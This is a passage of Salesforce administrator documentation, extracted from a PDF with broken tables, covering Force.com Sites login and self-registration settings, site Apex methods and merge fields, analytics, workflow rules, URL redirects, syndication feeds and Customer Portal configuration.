the Force.com Apex Code Developer's Guide.
Logout URL is used if you want to take users to a specific page on logout. If this value is left blank, users are taken to
the page specified in the Active Site Home Page field for your site.
6. Select a Change Password Page. A default page is provided, but you can select your own page instead, using the lookup
field.
7. Select the Require Non-Secure Connections (HTTP) checkbox if you want to override your organization's security
settings and exclusively use HTTP when logging in to the portal from your site. If this checkbox is not selected, the
Require Secure Connections (HTTPS) setting found at Your Name > Setup > Security Controls > Session
Settings is used to determine the security level.
1642
Force.com Sites
Not checked
Not checked
Checked
Not checked
Not checked
Checked
Checked
Checked
Caution: If the Require Secure Connections (HTTPS) checkbox on the Session Settings page is selected,
and the Require Non-Secure Connections (HTTP) checkbox on the Login Settings page is not selected,
users logging in to the associated portal from the site will see the secure.force.com domain. For example, if
you registered mycompany.force.com as your custom domain, the URL changes to
https://mycompany.secure.force.com upon login.
Customers using a script to login to sites can use the optional refURL URL parameter to retain the custom domain
name after login. This parameter has no effect if Require Non-Secure Connections (HTTP) has been set
for the site or Require Secure Connections (HTTPS) has been set for the organization. An example URL
using refURL is: http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com.
8. The Secure Web Address field shows the unique Force.com URL for this site when using SSL.
9. Click Save.
You can also enable Sites to use your identity provider for single sign-on.
1643
Force.com Sites
Note: For ideas and answers, the community associated with the portal must have one or all portals selected in the
Portal drop-down list on the community detail page. To find the community detail page, click Your Name > Setup
> Customize > Ideas > Communities or Your Name > Setup > Customize > Answers > Communities.
See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Associating a Portal with Force.com Sites
Force.com Sites-Related Apex Methods and Expressions
Setting Up Your Customer Portal
Customize Application
You can enable users to register for or log into an associated portal seamlessly from your site.
Note: Only Customer Portals can be used for self-registration. Partner portals do not support self-registration.
The Authenticated Website high-volume portal user license is specifically designed to be used with Force.com sites.
Because it's designed for high volumes, it should be a cost-effective option to use with Force.com sites.
1. Enable the portal for login using the following steps:
a. Click Your Name > Setup > Customize > Customer Portal > Settings, or click Your Name > Setup > Customize >
Partners > Settings.
b. If you have not enabled your portal, select Enable Customer Portal or Enable Partner Relationship
Management and click Save.
c. Click Edit for the portal you want to modify.
d. Configure the portal as follows:
i. Select the Login Enabled checkbox.
ii. Select a user for the Administrator field.
iii. Optionally, set the Logout URL. If this is not set, users are taken to the site home page on logout.
iv. Click Save.
2. If you are using a Customer Portal and want to allow self-registration, follow these steps:
a. Click Your Name > Setup > Customize > Customer Portal > Settings.
b. Click Edit for the portal you want to associate with your Force.com site.
1644
Force.com Sites
Sites does not support the use of Person Accounts for self
registration.
On self-registration through a site:
Validation rules are enforced on user creation.
Validation rules are ignored on contact creation.
For ideas and answers sites, you must make the community visible in the portal and enable the IdeasHome or AnswersHome
page for the site. To associate the community with one or more portals:
1. Click Your Name > Setup > Customize > Ideas > Communities or Your Name > Setup > Customize > Answers >
Communities.
1645
Force.com Sites
See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Login and Registration Settings
Setting Up Your Customer Portal
Customize Application
Arguments
Return Type
Description
changePassword
String newpassword
System.PageReference
ID
String
verifynewpassword
String opt_oldpassword
createPersonAccount
PortalUser
sObject user
String ownerId
String password
1646
Force.com Sites
Name
Arguments
Return Type
Description
createPersonAccount
PortalUser
sObject user
ID
String ownerId
String recordTypeId
String password
createPortalUser
sObject user
ID
String accountId
String opt_password
Boolean
opt_sendEmailConfirmation
The optional
opt_sendEmailConfirmation
getAdminEmail
String
getAdminId
ID
forgotPassword
String username
1647
Force.com Sites
Name
Arguments
Return Type
Description
getAnalyticsTrackingCode
String
getCurrentSiteUrl
String
getCustomWebAddress
String
getDomain
String
getErrorDescription
String
getErrorMessage
String
getName
String
getOriginalUrl
String
getPrefix
String
getTemplate
System.PageReference
isLoginEnabled
Boolean
1648
Force.com Sites
Name
Return Type
Description
isPasswordExpired
Boolean
isRegistrationEnabled
Boolean
System.PageReference
login
Arguments
String username
String password
String startUrl
Void
String contactId
Force.com provides the following Apex methods for use with the cookie class and Force.com sites:
Name
Arguments
Return Type
Description
getDomain
String
getMaxAge
Integer
getName
String
1649
Force.com Sites
Name
Arguments
Return Type
Description
getPath
String
getValue
String
isSecure
Boolean
Force.com provides the following Apex methods for use with the urlRewriter instance and Force.com sites:
Name
Arguments
Return Type
Description
generateUrlFor
System.PageReference[]
System.PageReference[]
mapRequestUrl
System.PageReference
System.PageReference
For more information about the site and cookie classes, as well as the urlRewriter instance, see the Force.com Apex Code
Developer's Guide.
Description
{!$Site.Name}
{!$Site.Domain}
{!$Site.CustomWebAddress}
Returns the value of the Custom Web Address field for the current site.
{!$Site.OriginalUrl}
Returns the original URL for this page if it is a designated error page for the
site; otherwise, returns null.
1650
Force.com Sites
Merge Field
Description
{!$Site.CurrentSiteUrl}
Returns the value of the site URL for the current request (for example,
http://myco.com/ or https://myco.force.com/prefix/).
{!$Site.LoginEnabled}
{!$Site.RegistrationEnabled}
{!$Site.IsPasswordExpired}
For authenticated users, returns true if the currently logged-in user's password
is expired. For non-authenticated users, returns false.
{!$Site.AdminEmailAddress}
Returns the value of the Site Contact field for the current site.
{!$Site.Prefix}
Returns the URL path prefix of the current site. For example, if your site
URL is myco.force.com/partners, partners is the path prefix. Returns
null if the prefix is not defined, or if the page was accessed using a custom
Web address.
{!$Site.Template}
Returns the template name associated with the current site; returns the default
template if no template has been designated.
{!$Site.ErrorMessage}
Returns an error message for the current page if it is a designated error page
for the site and an error exists; otherwise, returns an empty string.
{!$Site.ErrorDescription}
Returns the error description for the current page if it is a designated error
page for the site and an error exists; otherwise, returns an empty string.
{!$Site.AnalyticsTrackingCode}
The tracking code associated with your site. This code can be used by services
like Google Analytics to track page request data for your site.
Note: To use these expressions, the Force.com sites feature must be enabled for your organization. You must also use
them within the context of your public site; otherwise, an empty string is returned for all expressions except
{!$Site.Template}, which returns the default template for the site.
See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Login and Registration Settings
1651
Force.com Sites
Customize Application
Force.com sites provides out-of-the-box integration with Google Analytics. Use Google Analytics to track the usage of your
sites and site pages, including number of visits, number of page views, average time spent on site, and more.
Note: The <site:googleAnalyticsTracking/> component only works on pages used in a Force.com site. Sites
must be enabled for your organization and the Analytics Tracking Code field must be populated. To get a
tracking code, go to the Google Analytics website.
To track a site using Google Analytics:
1. Sign up for an account at Google Analytics.
2. Add a new profile in Google Analytics and enter the domain or full URL for the site you want to track.
3. Copy the Web Property ID from Google's tracking status information and paste it into the Analytics Tracking
Code field on the Site Edit page for the site you want to track. The Web property ID starts with the letters UA followed
by your account and profile numbers. For example, UA-9049246-2.
4. Click Save.
5. To track the Visualforce pages associated with your site, enter the following tag in the site template for those pages, or in
the individual pages themselves:
<site:googleAnalyticsTracking/>
Pages that don't contain the tag and aren't associated with a site template that contains the tag won't be tracked. The
default site template already contains the tag, so all pages using that template will be trackedincluding certain default
pages.
Note: Google recommends adding the component at the bottom of the page to avoid increasing page load time.
6. Go to the Google Analytics site and follow their instructions for completing the process. After signing up, it may take up
to 24 hours to see initial tracking results in Google Analytics.
1652
Force.com Sites
Tip: To track multiple sites separately, create separate profiles using the full site URLs and enter a different Web
property ID in the Analytics Tracking Code field for each site.
See Also:
Force.com Sites Overview
Managing Force.com Sites
Creating and Editing Force.com Sites
Viewing 24-Hour Force.com Sites Usage History
Reporting on Force.com Sites
Customize Application
Customize Application
With workflow for sites, you can create workflow rules that trigger email alerts when certain site-related criteria are met. For
example, create a rule that sends your site administrator an email alert when bandwidth usage reaches 80% of the daily bandwidth
limit or when a site's status changes from the active state.
Setting up the right site usage workflow rules can help you keep your sites from exceeding rolling 24-hour limits for bandwidth
and service request time, and monthly limits for page views and logins. Workflow rules that are created on the Site object are
evaluated every hour for all sites within the organization, unless your criteria is limited to certain sites. Workflow rules that
are created on the Organization and User License objects are evaluated every three hours.
Only email alert actions are supported for site usage workflow rules. Other workflow actions, such as field updates, tasks, and
outbound messages, are not available.
To create a site usage workflow rule, click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules, then
use the workflow rule wizard with the following settings:
Select Object
When selecting an object, choose one of the following:
Organization (for monthly page views allowed and monthly page views used fields)
Site (for site detail, daily bandwidth and request time, monthly page views allowed, and other fields)
User License (for the monthly logins allowed and monthly logins used fields)
The Organization and Site objects are only available if Force.com sites is enabled for your organization. The User License
object isn't dependent on sites, and is only available if you have Customer Portals or partner portals enabled for your
organization.
1653
Force.com Sites
Rule Criteria
Enter your rule criteria by doing one of the following:
Choose criteria are met and select the filter criteria that a site must meet to trigger the rule. For example, to
trigger the rule every time the active status changes for a site within your organization, set the filter to Site Status
not equal to Active. To add more rows or to set up Boolean conditions, click Add Filter Logic.
Choose formula evaluates to true and enter a formula. The rule is triggered if the formula returns True.
For example, the following formula triggers the rule when bandwidth usage reaches 80% of the daily bandwidth
limit:
DailyBandwidthUsed >= 0.8 * DailyBandwidthLimit
In the next example, the formula triggers the rule when time usage reaches 80% of the daily time limit:
DailyRequestTimeUsed >= 0.8* DailyRequestTimeLimit
Workflow actions
When adding workflow actions, click Add Workflow Action and choose New Email Alert or Select Existing
Action.
Tip: To create custom email templates using Site merge fields, click Your Name > Setup > Communication
Templates > Email Templates, then New Template. When configuring the template, use Site merge fields by
selecting Site Fields in the Select Field Type drop-down list of the Available Merge Fields section.
See Also:
Force.com Sites Overview
Customize Application
View Setup
If you move or reorganize pages on your Force.com site, search engines may have trouble finding the new page locations. To
avoid this, set up site URL redirects to inform users and search engines that site content has moved.
Consider the following while implementing site URL redirects:
You can't redirect error pages or CSS files (files with a .css extension).
Each site can have a maximum of 1,000 redirect rules.
1654
Force.com Sites
Query parameters in site URL redirects are matched exactly. However, you can't redirect any URLs that include the
lastMod parameter.
If you have URL rewriting enabled on your site, it runs after any site page redirects. For more information about the
Site.UrlRewriter Apex interface, see the Force.com Apex Code Developer's Guide.
Be a relative URL. It can have any valid extension type, such as .html or .php.
Not contain anchors, such as /siteprefix/page.html#target.
Note: Organizations that use sites with prefixes must manually add the prefix to the Source URL and Target URL
fields. Also, if your organization has a root level site and one with a prefix, and you want to redirect a page in your
prefixed site but don't include the prefix in the redirect rule, Salesforce will default to looking for the rule in your
root site instead, resulting in a 404 error.
Permanent (301)Select this option if you want users and search engines to update the URL in their systems when
visiting the page. Users visiting a page redirected with this type are sent seamlessly to the new page. Using a permanent
redirect ensures that your URLs retain their search engine popularity ratings, and that search engines index the new
page and remove the obsolete source URL from their indexes.
Temporary (302)Select this option if you want users and search engines to keep using the original URL for the page.
Search engines interpret a 302 redirect as one that could change again at any time, and though they index and serve up
the content on the new target page, they also keep the source URL in their indexes.
6. Specify the new page location in the Target URL field. This can be a relative URL or a fully-qualified URL with an
http:// or https:// prefix. Unlike source URLs, target URLs can contain anchors.
7. Click Save.
The Redirect Rules section displays all URL redirect rules you've created for your site. In this section you can:
See Also:
Force.com Sites Overview
Creating and Editing Force.com Sites
1655
Force.com Sites
Customize Application
If you see errors on site pages and can't figure out the cause, use administrator preview mode to look at them in context and
in greater detail.
Note: Administrator preview mode is available for all active sites, including those with a branded custom Web address.
Note: The <site:previewAsAdmin /> component contains the <apex:messages /> tag, so if you have that
tag elsewhere on your error pages, you will see the detailed error message twice.
See Also:
Force.com Sites Overview
Creating and Editing Force.com Sites
Assigning Force.com Site Error Pages
1656
Force.com Sites
Subscribe to a feed
Syndication feeds give users the ability to subscribe to changes within Force.com sites and receive updates in external news
readers. Simply by defining a SOQL query and mapping, you can syndicate changes to public data to your end users. You can
create one or more syndication feeds for your organization's public sites or any Visualforce page. The syndication feed displays
the records specified by a SOQL query. Users can subscribe to the feed and view the feed when they visit the site or page.
Edit the public access setting for the site to make sure the guest user has the correct object permissions and field-level
security settings.
Create sharing rules to control which records the guest user has access to.
After adjusting public access and field-level security settings to ensure the objects you wish to include in a feed are available
to the guest user, perform any of the following feeds-related tasks:
See Also:
Defining Syndication Feeds
Testing Syndication Feeds
Public Access Settings for Force.com Sites
Setting Your Organization-Wide Sharing Defaults
1657
Force.com Sites
Subscribe to a feed
Syndication feeds give users the ability to subscribe to changes within Force.com sites and receive updates in external news
readers. Simply by defining a SOQL query and mapping, you can syndicate changes to public data to your end users. You can
create one or more syndication feeds for your organization's public sites or any Visualforce page. The syndication feed displays
the records specified by a SOQL query. Users can subscribe to the feed and view the feed when they visit the site or page.
Define a syndication feed, including what records are returned, and which data from the records is displayed:
Name
A descriptive name for this feed, which distinguishes it from other feeds you may create. Use only letters, numbers, or
the underscore character _. Do not use more than one underscore character in a row.
Description
Describe the feed. For example, Account first name, last name, and region for the last ten accounts created or edited.
Query
The SOQL query that defines which records are returned to the syndication feed. To ensure fast performance, some
limitations on the SOQL query are imposed:
If the SOQL query does not specify a limit, then no more than 20 records are returned.
Query limits can't exceed 200 results. If you make a query with a limit beyond this number, only the first 200 records
are returned.
If the SOQL query does not have an ORDER BY value specified, records are ordered by the LastModifiedDate
value if there is one, or by SystemModstamp value if not
COUNT is not supported.
Aggregate queries are not supported. For example, this query cannot be used in a syndication feeds SOQL query:
SELECT Name, (SELECT CreatedBy.Name FROM Notes) FROM Account
For more information about aggregate relationship queries, see the aggregate query examples in SOAP API Developer's
Guide.
You can use bind variables, a variable whose value is supplied in the URL. For more information, see Using Bind
Variables for Queries and Mapping on page 1661.
Note: The guest user must have appropriate sharing and field-level security access or you cannot save your query,
because the Force.com platform verifies access and sharing before saving.
1658
Force.com Sites
Mapping
Because syndication feeds use the ATOM web publishing protocol, you must provide a mapping value that matches
objects and fields on the returned records with ATOM constructs. Note that all values must be string literals. For more
information about mapping elements, see ATOM-Object Mapping on page 1659.
You can use bind variables, a variable whose value is supplied in the URL. For more information, see Using Bind Variables
for Queries and Mapping on page 1661.
Max Cache Age Seconds
Because many users may access a feed at the same time, Salesforce caches the feed data, for 3600 seconds by default.
You can modify this to a minimum of 300 seconds, or for as long as you wish. Query results that are older than the time
specified here are dropped, and a new query is run on the next request for that information, that is, the next time a user
opens a page containing a feed that they have subscribed to.
Active
Select this checkbox to make the feed available for subscription. Once a feed is active, users have the option of subscribing
to it.
ATOM-Object Mapping
You must specify a mapping in the syndication feed definition. The mapping relates ATOM constructs such as entry title to
the corresponding value in a record, for example, Account Name. A full set of mappings represents a news feed, and the
query represents the content of each news item in a feed. For example, Lead records created today or Contacts with updated
Account information.
A feed element is the envelope for each part of a news item, and an entry element is the contents of the envelope.
Mapping also allows you to apply short labels to various fields for display purposes.
The following table lists each ATOM and object element and explains what values should be provided:
Feed Element
fa
Required only if ea (entry author) is not specified. Feed author. For example, fa:"Acme
Feed Author Admin Mary" shows the feed author as Admin Mary.
fid
Optional (because default value is supplied). Id of the feed. By default, this value is the
public site URL. If you specify a value, it must be a valid internationalized resource
identifier (IRI). An IRI is a URL generalized to allow the use of Unicode.
fl
fst
ft
Required only if fa (feed author) is not specified. Entry author. For example,
ea:"Account created by: " + Account.CreatedBy .
1659
Force.com Sites
Feed Element
ect
Optional. Entry content of type text, html, or xhtml. For example, ect: html for
HTML content. Default is text.
el
Optional. Entry link. Must be a valid URI. This value is usually a link to another
representation of the content for the entry. For example, the link could be to a record in
the Salesforce user interface. News readers usually interpret this element by linking the
entry title to this URL For example, el:"Account.URl".
es
Optional. Entry summary. An optional summary of the entry content. For example, et:
Account.Name, es: Account.Name + "s account number, website,
and description", ec: Account.Number + " " + Account.Website +
+ Account.Description
If not specified, news readers display the content defined using the ec element.
est
Optional. Entry summary of type text, html, or xhtml. For example, est: html for
HTML content. Default is text. Do not specify a value unless es has been specified.
et
eu
eu: MyDate__c
Query: SELECT Id, Lastname, Account.LastMOdifiedDate FROM
ContactMapping Parameter: eu: Account.LastModifiedDate
The following example shows a valid mapping values for a syndication feed:
ft: "Harry Potter", et: Name, ec: "description for " Name "<br>" Description, el: "/" Id,
ect: html
Feeds are displayed in the guest user context of the public site where they are displayed. Therefore, if you have used custom
labels to manage internationalization, and specified labels in your mapping, users see those labels displayed in the language of
the guest user. For more information, see Custom Labels and Feeds on page 1661.
You can only use string literals in feed mapping. You cannot use, for example, date literals such as TODAY or LAST_WEEK.
After you have defined a feed, you should test it, and then make the feed active by selecting the Active checkbox as described
above. For more information about testing, see Testing Syndication Feeds on page 1662.
1660
Force.com Sites
Note that this is not the literal name of the field, but an arbitrary name. At run time, the value for accountID is passed to
the query from the URL. This feed is accessed from the following URL and passes in the account ID as part of the query
string parameter:
site_URL/services/xml/My'Account'Feed?accountId=0013000000BmP4x
You cannot use more than 20 bind variables in a feed definition, queries and mapping combined.
The bind variable name cannot be more than 100 characters.
You can use a bind variable only on the right side of a filter operation to represent part of a string. Because it represents
part of a string, it must be in quotes. For example, the following is a valid query:
SELECT Id, Name FROM Account WHERE Name = '{!myBindVariable}'
The following queries are not valid, because the bind variable is not in a valid position, and is not functioning as the variable
for a literal string:
SELECT Id, Name FROM Account WHERE {!myFieldName} = 'Joe'
SELECT Id, {!myFieldName} FROM Account WHERE IsDeleted = false
You cannot use a bind variable to represent a field name. This means a bind variable cannot be use on the left side of a
filter operation.
You cannot use a bind variable to change the meaning or structure of a query for security reasons. Any special characters
you specify in the bind replacement value are interpreted as literal characters when the query is evaluated.
1661
Force.com Sites
For more information about Visualforce, see the Visualforce Developer's Guide.
See Also:
About Syndication Feeds
Testing Syndication Feeds
Subscribe to a feed
Test the feed definition you have created before enabling it for customers.
To test a feed:
1662
Force.com Sites
1. After creating a feed, navigate to Your Name > Setup > Sites and click the site for which you've defined the feed.
Alternatively, you can navigate to the feed detail page any number of ways, including clicking the feed name from the site
detail page.
2. Click Preview for the feed you wish to test.
3. If one or more bind variables have been used in the feed, a dialog appears. Enter a test value for each bind variable.
4. A dialog appears allowing you to create a bookmark for the feed with the bind variable values you specified. You can save
the bookmark, or cancel the dialog.
5. The values returned by your feed are displayed. Verify that the results are what you expected.
See Also:
Defining Syndication Feeds
About Syndication Feeds
Subscribe to a feed
View the syndication feed definition, including what records are returned, and which data from the records is displayed:
Name
A descriptive name for this feed, which distinguishes it from other feeds you may create.
Description
Describes the feed. For example, Account first name, last name, and region for the last ten accounts created or edited.
Query
The SOQL query that defines which records are returned to the syndication feed. To ensure fast performance, some
limitations on the SOQL query are imposed. For more information, see Defining Syndication Feeds on page 1658.
Mapping
Because syndication feeds use the ATOM web publishing protocol, you must provide a mapping value that matches
objects and fields on the returned records with ATOM constructs. Note that all values must be string literals. For more
information about mapping elements, see Defining Syndication Feeds on page 1658.
Max Cache Age Seconds
Because many users may access a feed at the same time, Salesforce caches the feed data, for 3600 seconds by default.
This value can be a minimum of 300 seconds, or for as long as you wish. Query results that are older than the time
1663
Customer Portal
specified here are dropped, and a new query is run on the next request for that information, that is, the next time a user
opens a page containing a feed that they have subscribed to.
Active
This checkbox indicates whether the feed is available for subscription. Once a feed is active, users have the option of
subscribing to it.
See Also:
Defining Syndication Feeds
About Syndication Feeds
Testing Syndication Feeds
CUSTOMER PORTAL
Setting Up Your Customer Portal
Available in: Enterprise, Unlimited, and Developer Editions
Customize Application
A Salesforce Customer Portal provides an online support channel for your customersallowing them to resolve their inquiries
without contacting a customer service representative. With a Customer Portal, you can customize and deliver a visually stunning
user interface to your customers, and use the following Salesforce features to help you and your customers succeed:
Determine which pages and fields customers see with page layouts and field-level security
Manage customers with profiles, permission sets, roles, and sharing rules
Provide and organize documents via Salesforce CRM Content or the Documents tab
Create a knowledge base for your customers using Salesforce Knowledge
Allow customers to participate in Salesforce CRM Ideas communities.
Display and collect data that is unique to your organization with custom objects
Display custom s-controls and content from other websites via Web tabs
Provide customized reports via the Reports tab
Note: The Service Cloud Portal is the Customer Portal intended for many thousands to millions of users. Service
Cloud portal users are also referred to as high-volume portal users. See About High-Volume Portal Users (Service Cloud
Portal Users) on page 1702.
1664
Customer Portal
1665
Customer Portal
See Also:
Customer Portal Setup Limits
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Creating Multiple Customer Portals
Enabling Single Sign-On for Portals
Customize Application
Click Your Name > Setup > Customize > Customer Portal > Settings.
Click Edit.
Select Enable Customer Portal.
Click Save.
Continue setting up the portal.
After you enable the Customer Portal, you can create multiple Customer Portals to satisfy the various business needs of
your customers.
These items become available after you enable the Customer Portal:
1666
Customer Portal
The High Volume Customer Portal, Authenticated Website, Customer Portal Manager, and Customer Portal User
profiles, if you purchased user licenses for them.
The Enable Customer Portal User and View Customer Portal User buttons on contact and person account records.
The All Customer Portal Users and All Internal Users groups along with the Roles and Internal Subordinates sharing
rule category.
After you enable a Customer Portal, you cannot disable it. However, you can prevent users from logging into it. See
Enabling Customer Portal Login and Settings on page 1671.
See Also:
Setting Up Your Customer Portal
Enabling Salesforce CRM Content in the Customer Portal
About Customer Portal User Management
Enabling the Customer Portal for Contacts and Person Accounts
Customize Application
After you have enabled the Salesforce Customer Portal, you can create multiple Customer Portals to satisfy the various business
needs of your customers.
To create more than one Customer Portal:
1. Click Your Name > Setup > Customize > Customer Portal > Settings.
2. Click New.
3. Follow the same steps used to set up your organization's first Customer Portal. See Setting Up Your Customer Portal on
page 1664.
Note: Contact salesforce.com for information about the number of Customer Portals you can activate for your
organization.
Before you begin creating multiple Customer Portals for your organization, review the following implementation tips and best
practices.
Implementation Tips
Portal users can only log into Customer Portals assigned to their profile. To assign a profile to a Customer Portal, select
the name of a portal from the Customer Portal Setup page, click Edit Profiles in the Assigned Profiles section, and select
the Active checkbox next to the profile you want to assign to the portal.
A portal user can access all the Customer Portals assigned to his or her profile with one username and password.
1667
Customer Portal
You can view the number of active users associated with each profile assigned to a Customer Portal by creating a custom
summary report and adding Profile to your report columns. See Administrative Reports on page 3022.
The login URL of each Customer Portal you create contains a unique identifier, such as portalId=060D00000000Q1F.
The unique identifier determines the specific portal a user can access. If a user accesses a login URL that does not contain
a unique identifier, they are automatically directed to the login URL of the first Customer Portal you created. Note that
portal users can only log into a Customer Portal via the portal's login page and not through the Salesforce login page.
The settings on the following items apply to both your organization and your Customer Portals:
List views
Search layouts
Case assignment rules
Workflow alerts
Best Practices
Because you can uniquely customize the fonts, colors, email templates, and login message of each Customer Portal you
create, you can build a Customer Portal for each product and customer service level supported by your organization. For
example, if your organization provides gold, silver, and bronze levels of customer support, then you could create a unique
Customer Portal for each.
Note: JavaScript and CSS code are automatically removed from HTML files used as the portal login message.
You can standardize the communication templates sent to the users of all your Customer Portals by clicking the Set Default
Email Templates for All Customer Portals link on the Tools section of the Customer Portal Setup page. These settings
determine the email templates to use when sending email notifications, such as a new case comment or a reset password,
to portal users whose profiles are associated with more than one Customer Portal.
By default, sample templates are automatically selected for you in the New User Template, New Password Template,
and Lost Password Template lookup fields. However, sample templates are not selected for you in the New Comment
Template and Change Owner to Portal User Template lookup fields. Unless you select templates for these
fields, users whose profiles are associated with more than one Customer Portal will not receive email notifications when
new comments are added to their cases or when they become the new owner of a record in the Customer Portal. To create
templates or modify the samples, see Managing Email Templates on page 472. Email templates must be marked as
Available for Use to be sent to portal users.
Tip: Because the default email templates are sent to users of multiple Customer Portals, we recommend that you
create default email templates that do not contain portal-specific branding.
You cannot delete a Customer Portal, but you can prevent users from logging into a portal by deselecting the Login
Enabled checkbox. For more information, see Enabling Customer Portal Login and Settings on page 1671.
You can create multiple Customer Portals that display different tabs for users with the same profile, as long as the profile
has access to each object displayed on a tab. For more information, see Viewing and Editing Tab Settings in Permission
Sets and Profiles and Customizing Your Customer Portal Tabs on page 1681.
See Also:
Setting Up Your Customer Portal
About Customer Portal User Management
Customizing Your Customer Portal Tabs
Administrator setup guide: Salesforce Customer Portal Implementation Guide
1668
Customer Portal
Manage Users
Because Customer Portal and partner portal users appear in the role hierarchy but are external contacts who should not have
access to your organization's internal data, you must configure your organization's sharing settings to prevent inappropriate
access by portal users. When setting up a Customer Portal or partner portal, you can use the Convert Portal User Access wizard
to help ensure that no records or folders are shared with a portal user. The wizard affects the following:
Sharing Rules
The Convert Portal User Access wizard converts any sharing rules that include the Roles, Internal and Portal Subordinates
data set category to include the Roles and Internal Subordinates data set category instead.
The Roles and Internal Subordinates data set category allows you to create sharing rules that include all users in a specified
role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles.
Only organization-wide sharing rules are updated when you convert Roles, Internal and Portal Subordinates to Roles
and Internal Subordinates. The Roles, Internal and Portal Subordinates category for queues, public groups, list views,
documents, and manual sharing created on specific records by clicking the Sharing button is not converted to Roles and
Internal Subordinates.
Note: The Roles, Internal and Portal Subordinates data set category is only available in your organization after
you create at least one role in the role hierarchy.
The Roles and Internal Subordinates data set category is only available in your organization after you create at
least one role in the role hierarchy and enable a portal.
Folder Sharing
The Convert Portal User Access wizard also enables you to automatically convert the access levels of any report, dashboard,
or document folders that are accessible to Roles, Internal and Portal Subordinates to a more restrictive access level: Roles
and Internal Subordinates. This helps prevent Customer Portal and partner portal users from accessing folders. Using
the wizard is more efficient than locating various folders in Salesforce and setting their access levels individually.
The wizard does not convert folders that are accessible to all users or accessible to public groups. You must manually
update the access levels on those folders.
1669
Customer Portal
When you first save a Customer Portal or partner portal, Salesforce automatically displays the Convert Portal User Access
wizard.
See Also:
Using the Convert Portal User Access Wizard
Configuring User Access to the Customer Portal
Enabling Your Customer Portal
Enabling the Partner Portal
Using the Convert Portal User Access Wizard
Available in: Enterprise, Unlimited, and Developer Editions
Manage Users
When setting up a Customer Portal or partner portal, you can use the Convert Portal User Access wizard to help ensure that
no records or folders are shared with a portal user.
To use the wizard:
1. For the Customer Portal, click Your Name > Setup > Customize > Customer Portal > Settings. For the partner portal,
click Your Name > Setup > Customize > Partners > Settings.
2. Click the Convert Portal User Access link.
3. Select the checkboxes next to the sharing rules you want to convert to Roles and Internal Subordinates.
If there are no sharing rules to convert but you want to convert the access level for folders, proceed to the following step.
4. Click Next.
5. Select the checkboxes next to the folders whose access levels you want to change to Roles and Internal Subordinates.
The wizard does not convert folders that are accessible to all users or accessible to public groups. You must manually update
the access levels on those folders.
A particular folder may display on multiple rows in the wizard. This is because the wizard displays a row for each Role,
Internal and Portal Subordinates category to which a folder is shared.
6. Click Next.
7. Click Save to apply your selected changes.
See Also:
About the Convert Portal User Access Wizard
1670
Customer Portal
Customize Application
1. Click Your Name > Setup > Customize > Customer Portal > Settings.
2. Click Edit next to the name of the Salesforce Customer Portal you want to customize.
3. Set the following options:
Setting
Description
Name
Description
Login Enabled
Administrator
1671
Customer Portal
Setting
Description
user selected as a portal administrator. For more information,
see Deactivating Users on page 509.
Description
Login URL
The URL of the Web page that displays when users log in
to your Customer Portal.
You can click this URL to log in to your portal and interact
with it.
Insert this URL into your website so users can access the
login page to your Customer Portal.
The login URL of each Customer Portal you create contains
a unique identifier, such as portalId=060D00000000Q1F.
The unique identifier determines the specific portal a user
can access. If a user accesses a login URL that does not
contain a unique identifier, they are automatically directed
to the login URL of the first Customer Portal you created.
Note that portal users can only log into a Customer Portal
via the portal's login page and not through the Salesforce
login page.
Logout URL
The URL of the Web page that displays when users log out
of the Customer Portalfor example,
http://www.acme.com. If a logout URL is not specified,
portal users return to the login page when they log out.
1672
Customer Portal
Description
views the message Case has been submitted if this setting
has been enabled.
Confirmation messages may help users clearly understand
actions they have completed in your Customer Portal.
Description
1673
Customer Portal
Description
Note: You can standardize the communication templates sent to the users of all your Customer Portals by clicking
the Set Default Email Templates for All Customer Portals link on the Tools section of the Customer Portal
Setup page. For more information, see Creating Multiple Customer Portals on page 1667.
Tip: If you plan to use the same communication template for different objects, such as the Change Owner to
Portal User Template, we recommend that you include text and merge fields on the template that are appropriate
for both objects. For example, if your organization has a Warranty custom object and a Training custom object,
and you want to use the Change Owner to Portal User Template for both, the text and merge fields on the template
should read: A new record has been assigned to you. Id: {!Training.ID}{!Warranty.Id}. When the template is
sent, only the relevant merge fields will display.
Look and Feel
Setting
Description
Header
Footer
1674
Customer Portal
Description
been uploaded to a publicly accessible folder on the
Documents tab.
The files you include in the Header and Footer lookup
fields can have a combined size of up to 10 KB.
Logo
Login Message
Self-Registration Settings
Setting
Description
Self-Registration Enabled
1675
Customer Portal
Self-Registration Settings
Setting
Description
automatically assigned username and password for logging
in to your Customer Portal. Other email notifications sent
to users regarding their registration status include:
1676
Customer Portal
Self-Registration Settings
Setting
Description
For more information about setting up Web-to-Lead or
Web-to-Case, see Capturing Web Leads on page 1340 and
Capturing Web Cases on page 1384.
See Also:
Setting Up Your Customer Portal
1677
Customer Portal
Customize Application
You can customize the fonts and colors of the Salesforce Customer Portal to reflect your companys branding. Your portals
fonts and colors are specified in a portal color theme. Select a predefined color theme and, optionally, customize it to better
match your branding. You can click the See examples link to see all of the theme attributes you can customize.
1.
2.
3.
4.
Click Your Name > Setup > Customize > Customer Portal > Settings.
Select the name of your Customer Portal.
Click Change Portal Fonts and Colors.
Select a color theme from the Color Theme drop-down list. Select Custom from the Color Theme drop-down list to
create your own theme from scratch. A preview of the color theme you select is automatically displayed in the Preview
sections.
5. Optionally, customize the color of any theme you select by either:
When you customize a theme, it is automatically renamed Custom when saved. You can customize the following options,
which, when customized, automatically display in the Preview sections:
Tab Styles
Theme Attribute
Description
Page Styles
Theme Attribute
Description
Page Background
1678
Customer Portal
Page Styles
Theme Attribute
Description
Text
Text color, size, and font on all portal items, except for tabs,
buttons, headers, and field labels.
Optionally, you can change the number in the percent field
to increase or decrease the size of all portal items.
Additionally, you can change the font of all portal items,
except for tabs, buttons, headers, and field labels from the
drop-down list.
Link
Link Hover
Text color of all links when a user hovers the mouse over
them.
Field Separator
Bottom Border
Section Styles
Theme Attribute
Description
Header Background
Left Border
1679
Customer Portal
Section Styles
Theme Attribute
Description
Right Border
Top Border
Bottom Border
Section Background
List Styles
Theme Attribute
Description
Header Underline
Separator
Row Highlight
1680
Customer Portal
